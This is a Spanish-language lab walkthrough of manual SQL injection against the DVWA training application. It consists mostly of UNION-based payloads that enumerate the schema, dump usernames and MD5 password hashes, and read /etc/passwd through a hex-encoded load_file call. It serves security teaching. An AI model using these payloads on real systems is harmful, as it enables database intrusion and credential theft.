Empezamos probando:
1
ID: 1
First name: admin
Surname: admin
1'
probamos con el caracter ' y vemos que nos arroja un error, posiblemente vulnerable, ahora vemos que caracter hace de cierre o bien de comentarios:
1' //
error
1' /*
error
1' --
error
1' --+
error
1' #
OK-la conseguimos
ahora vemos las columnos que se solicitan en la consulta
1' order by 2#
OK
1' order by 3#
error, luego las columnos son 2
ahora vemos alguna información de la base de datos
1' union select null,database()#
dvwa
1' union select null,@@version#
Surname: 5.0.51a-3ubuntu5
1' union select null,user()#
root@localhost
1' union select null,current_user()#
root@%
1' union select null,@@datadir#
/var/lib/mysql/
1' union select null,connection_id()#
45
1' union select null,last_insert_id()#
0
ahora buscamos infomación de las tablas
1' union select null,table_name from information_schema.tables#
Nos sale un listado enorme de tablas, para lo que en la proxima descartamos mysql e information_schema
1' union select null,table_name from information_schema.tables where table_schema!='mysql' and table_schema!='information_schema'#
Nos sale un listado de tablas y vemos que tabla no es interesante, por ejemplo "users", y vamos a ver sus columnas
1' union select null,column_name from information_schema.columns where table_name='users'#
Surname: user_id
Surname: first_name
Surname: last_name
Surname: user
Surname: password
Surname: avatar
Surname: last_login
Surname: failed_login
otra forma de conseguir lo mismo,dandole algo de formato salida...
1' union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'#
Y ahora a sacar lo interesante:
1' union select null,concat(user,0x0a,password)from users#
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99
Surname: gordonb
e99a18c428cb38d5f260853678922e03
Surname: 1337
8d3533d75ae2c3966d7e0d4fcc69216b
Surname: pablo
0d107d09f5bbe40cade3de5c71e9e9b7
Surname: smithy
5f4dcc3b5aa765d61d8327deb882cf99
O también obtemos el mismo resultado con
1' union select null,concat_ws(0x0a,user,password)from users#
Con esto podemos ya extraer los datos de cualquier tabla en la base de datos que nos parezca interesante :), pero también podemos intentar lo siguiente
1' union all select 1,load_file(0x2f6574632f706173737764)#
IMPORTANTE:
Esta información es con fines didacticos, un uso fuera de una plataforma de pruebas es un delito, no me hago responsable del mal uso.